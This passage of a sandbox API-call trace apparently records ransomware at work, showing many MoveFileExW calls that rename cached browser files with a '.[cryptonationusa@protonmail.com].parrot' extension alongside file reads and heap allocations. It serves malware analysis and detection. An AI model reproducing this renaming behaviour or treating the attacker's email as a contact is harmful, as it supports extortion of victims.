(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.288] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.288] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.289] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.290] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x35c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x35c, lpOverlapped=0x0) returned 1 [0081.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.290] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.290] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.293] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.293] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.297] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.297] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x278e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x278e, lpOverlapped=0x0) returned 1 [0081.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.298] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.298] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamo09p[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.303] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.303] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.334] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.334] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x19a, lpOverlapped=0x0) returned 1 [0081.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.335] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.335] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.338] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.338] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.340] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.340] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xfe, lpOverlapped=0x0) returned 1 [0081.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.340] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.341] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.343] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.344] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.345] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.345] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x650, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x650, lpOverlapped=0x0) returned 1 [0081.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.345] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.346] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.349] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.349] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.350] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.350] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2870, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2870, lpOverlapped=0x0) returned 1 [0081.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.351] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.352] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\adfscript[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfscript[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\adfscript[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.354] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.354] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.356] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.356] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf1f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xf1f, lpOverlapped=0x0) returned 1 [0081.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.356] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.357] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\adfserve[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\adfserve[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\adfserve[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.360] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.360] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.361] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.361] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11835, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x11835, lpOverlapped=0x0) returned 1 [0081.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.365] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.366] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.369] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.369] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.371] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.371] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x543, lpOverlapped=0x0) returned 1 [0081.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.371] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.372] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\async_usersync[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\async_usersync[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\async_usersync[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\async_usersync[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.377] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.377] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.378] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.378] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x86e6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x86e6, lpOverlapped=0x0) returned 1 [0081.379] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.381] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.381] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\b2fd15[1].eot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\b2fd15[1].eot"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\b2fd15[1].eot.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\b2fd15[1].eot.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.384] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.384] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.394] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.395] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2c0, lpOverlapped=0x0) returned 1 [0081.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.396] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.397] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.400] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.400] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.402] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.402] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x227, lpOverlapped=0x0) returned 1 [0081.402] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.402] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.402] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.402] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.403] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.405] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.405] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.407] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 